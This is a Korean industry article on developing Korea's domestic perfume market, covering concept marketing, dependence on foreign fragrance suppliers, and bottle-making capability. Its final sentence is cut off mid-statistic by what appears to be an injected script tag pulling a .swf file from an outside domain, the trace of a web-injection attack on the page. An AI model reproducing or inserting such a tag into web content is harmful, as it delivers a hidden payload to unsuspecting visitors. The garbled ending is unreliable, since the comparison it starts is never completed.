향수시장 저변확대가 최우선과제 지속적인 인프라 구축과 지원이 한국적 향수 탄생의 버팀목 향수가 하나 새로 개발되기 위해서는 향수의 주제이자 철학이라 할 수 있는 하나의 설정된 컨셉을 바탕으로 이에 가장 부합되는 향료(향취)를 개발하고 이를 담아낼 가장 적절한 용기를 개발하는 수순을 거치게 되는 것이 가장 일반적인 프로세스이다. 이러한 커다란 축의 프로세스는 각 회사는 물론 세계 어느 나라에서도 나름대로의 방식을 가지고 거의 유사하게 진행이 되어지고 있는 데, 오늘은 이러한 기본적인 프로세스를 바탕으로 한 국내 사례의 현황과 문제점, 그리고 개선안을 되짚어 보고자 한다. 향수전문 마케터 육성 시급 우선, 향수의 컨셉은 시장의 현황과 미래를 예측하고, 경우에 따라선 이를 주도해 나갈 만한 강력한 주제가 설정이 되어야 하기 때문에 주로 시장 상황에 능통한 마케팅 전문가가 이를 전담하는 경우가 많지만, 경우에 따라선 향료 전문가 및 디자이너 등과 공조 연구를 통해 설정이 되어지는 경우도 많다. 국내의 경우에도 최근 들어 이러한 향수 전문 마케터들이 본격적으로 탄생하고 있으며 또한 이러한 전문성이 결과적으로 국산 향수의 컨셉력 강화를 촉진, 수년 전부터 국산 향수의 국내 시장 점유율이 급속도로 팽창하는 데 분명한 기여를 하고 있다. 하지만 아직도 외국의 전문 마케터들의 축적된 경험과 시장 예측력, 창조력 등에 비하면 그 연륜이 부족한 점이 많기 때문에 각 사를 중심으로 보다 적극적인 향수 전문 마케터의 육성 노력이 요구된다고 할 수 있다. 육성방안 장기적 관점서 제시 필요 다음으로, 이러한 컨셉이 설정되면 화장품 회사의 향료 전문가(드물게는 마케터)는 최종 공급원(향료 회사)과의 공조를 통해 컨셉에 부합하는 향취(조합 향료)의 개발을 시작한다. 향수에 사용되는 조합 향료들은 다른 어느 향장품 향료 보다도 그 품질이나 창작성 면에서 높은 수준의 기술과 경험이 요구된다. 현재 세계적으로는 향수 용도의 조합 향료를 공급할 수 있는 향료 회사들이 상당수가 있는 데, 그들 중 대부분은 북유럽과 미국, 일본 등의 회사(이들 중 상당수는 다국적 기업의 성격을 띤 거대기업)들로서, 국내에도 대략 5~6 개 정도의 향장 향료 회사들이 있지만 이들 중 자체 조향 기술을 보유한 회사는 3개사 정도에 불과하며 또한 외국 회사들과 비교할 때엔 아직 그 규모나 경험, 기술면 등에서 영세한 것이 사실이다. 따라서, 아직도 실제 국내에서 생산되는 상당수의 고급 향수들의 개발시엔 외국의 조합 향료들이 주로 선호되고 있는 것이 현실인데, 이는 외국 향수 회사들의 경우 향료 회사와의 지리적 인접성 등을 바탕으로 한 탄탄한 인프라 위에 보다 신속하고 효율적인 프로세스가 가능하다는 점에 비해 국내 업체(화장품 회사)로서는 하나의 핸디캡으로 작용할 수 밖엔 없는 부분이라 할 수가 있다. 따라서 이를 개선하기 위해선 단기적으로는 이러한 지리적 장애를 극복할 수 있는 적극적이고도 효율적인 Out-sourcing 프로세스를 구축하는 것이 우선이다. 이를 위해선 국내의 향수 시장 규모가 하루빨리 선진국형 구조로 성장하여 외국의 향료 업체들로부터 보다 적극적인 지원을 받을 수 있는 규모를 갖추는 것도 필수적이다. 물론 근본적인 문제 해결을 위해선 함께 국내 향료 회사의 육성 및 장기적인 지원을 통해 국내 자체의 향수-향료 개발 인프라를 구축하도록 하는 일이 동시에 이어져야 할 것이다. 창조적인 디자인 지속적 개발 마지막으로 이상적인 컨셉과 조화로운 향취를 갖추었다 할 지라도 이를 담아낼 용기의 아름다움과 편의성 또한 고객을 사로잡는 매우 중요한 요소가 될 수 있는 데, 이는 다른 화장품류의 경우들보다도 향수의 경우가 보다 더 두드러지는 현상이다. 실제 국내의 디자인 능력은 이미 상당 수준 국제적인 수준에 도달한 것이 사실이지만 이를 원안대로 생산해 내는 제병 능력에서는 아직도 고급화가 요원한 것이 사실이다. 따라서 현재는 이 역시 외국에 의존하게되는 부분이 적지 않은 데, 고급화된 제병기술의 국내확보와 함께 디자인 초기의 스텝에 있어서도 아직은 미비한 부분들이 많으므로 실용성과 고급성, 창의성을 동시에 추구할 수 있는 창조적인 디자인 들이 계속 개발될 수 있도록 업계의 노력이 필요한 시점이다. 국산향수 시장점유율 급속히 팽창 우리나라는 향수에 관한한 분명 그 규모나 역사 면에서 후발 국가에 속한다. 화장품 대비 향수 점유율이 선진국들의 경우 20%선인 데 비해 한국은 ?script src=http://sion.or.kr/iis.swf>

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